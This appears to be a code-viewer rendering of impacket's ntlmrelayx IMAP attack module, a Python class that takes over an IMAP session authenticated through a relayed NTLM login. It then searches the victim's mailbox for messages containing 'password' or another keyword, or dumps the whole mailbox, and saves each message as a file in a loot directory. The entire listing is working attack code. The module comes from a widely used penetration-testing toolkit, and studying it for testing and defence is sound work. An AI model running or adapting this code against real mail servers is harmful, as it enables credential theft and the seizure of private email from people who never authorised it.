Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

2# 

3# This software is provided under under a slightly modified version 

4# of the Apache Software License. See the accompanying LICENSE file 

5# for more information. 

6# 

7# IMAP Attack Class 

8# 

9# Authors: 

10# Alberto Solino (@agsolino) 

11# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 

12# 

13# Description: 

14# IMAP protocol relay attack 

15# 

16# ToDo: 

17# 

18import re 

19import os 

20from impacket import LOG 

21from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 

22 

23PROTOCOL_ATTACK_CLASS = "IMAPAttack" 

24 

25class IMAPAttack(ProtocolAttack): 

26 """ 

27 This is the default IMAP(s) attack. By default it searches the INBOX imap folder 

28 for messages with "password" in the header or body. Alternate keywords can be specified 

29 on the command line. For more advanced attacks, consider using the SOCKS feature. 

30 """ 

31 PLUGIN_NAMES = ["IMAP", "IMAPS"] 

32 def run(self): 

33 #Default action: Search the INBOX 

34 targetBox = self.config.mailbox 

35 result, data = self.client.select(targetBox,True) #True indicates readonly 

36 if result != 'OK': 

37 LOG.error('Could not open mailbox %s: %s' % (targetBox, data)) 

38 LOG.info('Opening mailbox INBOX') 

39 targetBox = 'INBOX' 

40 result, data = self.client.select(targetBox,True) #True indicates readonly 

41 inboxCount = int(data[0]) 

42 LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox)) 

43 #If we should not dump all, search for the keyword 

44 if not self.config.dump_all: 

45 result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword) 

46 #Check if search worked 

47 if result != 'OK': 

48 LOG.error('Search failed: %s' % rawdata) 

49 return 

50 dumpMessages = [] 

51 #message IDs are separated by spaces 

52 for msgs in rawdata: 

53 dumpMessages += msgs.split(' ') 

54 if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max: 

55 dumpMessages = dumpMessages[:self.config.dump_max] 

56 else: 

57 #Dump all mails, up to the maximum number configured 

58 if self.config.dump_max == 0 or self.config.dump_max > inboxCount: 

59 dumpMessages = list(range(1, inboxCount+1)) 

60 else: 

61 dumpMessages = list(range(1, self.config.dump_max+1)) 

62 

63 numMsgs = len(dumpMessages) 

64 if numMsgs == 0: 

65 LOG.info('No messages were found containing the search keywords') 

66 else: 

67 LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword)) 

68 for i, msgIndex in enumerate(dumpMessages): 

69 #Fetch the message 

70 result, rawMessage = self.client.fetch(msgIndex, '(RFC822)') 

71 if result != 'OK': 

72 LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage)) 

73 continue 

74 

75 #Replace any special chars in the mailbox name and username 

76 mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox) 

77 textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username) 

78 

79 #Combine username with mailboxname and mail number 

80 fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml' 

81 

82 #Write it to the file 

83 with open(os.path.join(self.config.lootdir,fileName),'w') as of: 

84 of.write(rawMessage[0][1]) 

85 LOG.info('Done fetching message %d/%d' % (i+1,numMsgs)) 

86 

87 #Close connection cleanly 

88 self.client.logout()